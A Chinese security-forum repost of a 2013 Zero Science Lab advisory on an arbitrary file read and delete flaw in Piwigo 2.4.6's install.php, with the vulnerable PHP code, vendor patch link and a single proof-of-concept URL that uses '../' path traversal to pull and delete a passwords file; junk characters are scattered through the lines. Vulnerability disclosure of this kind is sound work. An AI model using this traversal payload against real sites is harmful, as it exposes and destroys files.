找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2676|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
( q$ s. y/ B: L& K" R7 I8 a, b# I! j0 ^' D( f3 q3 @9 l# B9 J# E& r
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。  z% R! k0 B) K- b, Z/ \# H
====================================================================) U( u/ l, U6 f7 f) u+ E1 C4 {3 n
/install.php:
, C$ ~  ~1 q/ Q: Q9 V$ ~-------------4 @% C  {6 ^) f
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))8 T! ^' E! `! p2 k6 i! _6 u/ g
114: {
& M5 n6 g  f; l4 V( k: I115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
4 O: k( g) C4 ^" k2 ~4 Q+ @116:   header('Cache-Control: no-cache, must-revalidate');* y$ ~0 c8 T- {: h9 i
117:   header('Pragma: no-cache');! l# D5 ]1 G4 x3 A6 {1 ~$ S: F
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
# @8 d7 c  A+ x8 ^6 G2 G* }6 H% ?( |119:   header('Content-Transfer-Encoding: binary');
- S3 \+ i* V/ r% u$ x120:   header('Content-Length: '.filesize($filename));
+ v7 r# z* z  x3 H& O) T; e121:   echo file_get_contents($filename);
( u7 y" c9 S& [% ~9 i* t122:   unlink($filename);8 O, M: ]# ~: _4 L, V* v
123:   exit();
! O* o' V: P- V( V; R; j- x6 M124: }
# [$ {8 f: |  n( a- {& W- h% H9 q====================================================================! ~5 o1 }# a. n9 N1 Z: x
8 C2 X1 T& ?1 f0 P1 u( T# D7 f
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)5 |' c! o9 U  |4 T% c& N, S
           Apache 2.4.2 (Win32)
8 o( S3 z1 i1 O9 {           PHP 5.4.4/ y( T9 O0 J, D  }0 j5 m
           MySQL 5.5.25a/ W- J; u* W# [# h: }
5 T& {% h. E7 a4 ~( q+ u5 P
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic9 x( _2 W: }& o& U& }8 E' [% W# k
                            @zeroscience
& D( r# |4 m2 l  M- W # U  B* ?) e/ o. n3 w8 m
Advisory ID: ZSL-2013-5127
, Y! v+ k/ I+ F  d+ y, LAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- R* y/ Z7 t. I$ Z$ ~- n( ?Vendor Patch: http://piwigo.org/bugs/view.php?id=28435 X) s8 i0 G, c! F& b0 |, N$ z
# `" D0 e$ x* E) D! `! }
15.02.2013
/ n" f: v" T% P
4 b+ E4 h7 m# L  C/ q, O--. Z' p7 N, [( [5 V5 Y: o4 `
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt/ \4 ^0 F# J8 \% T
: S/ |. Q9 c) _# g  U# J( a5 z" m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表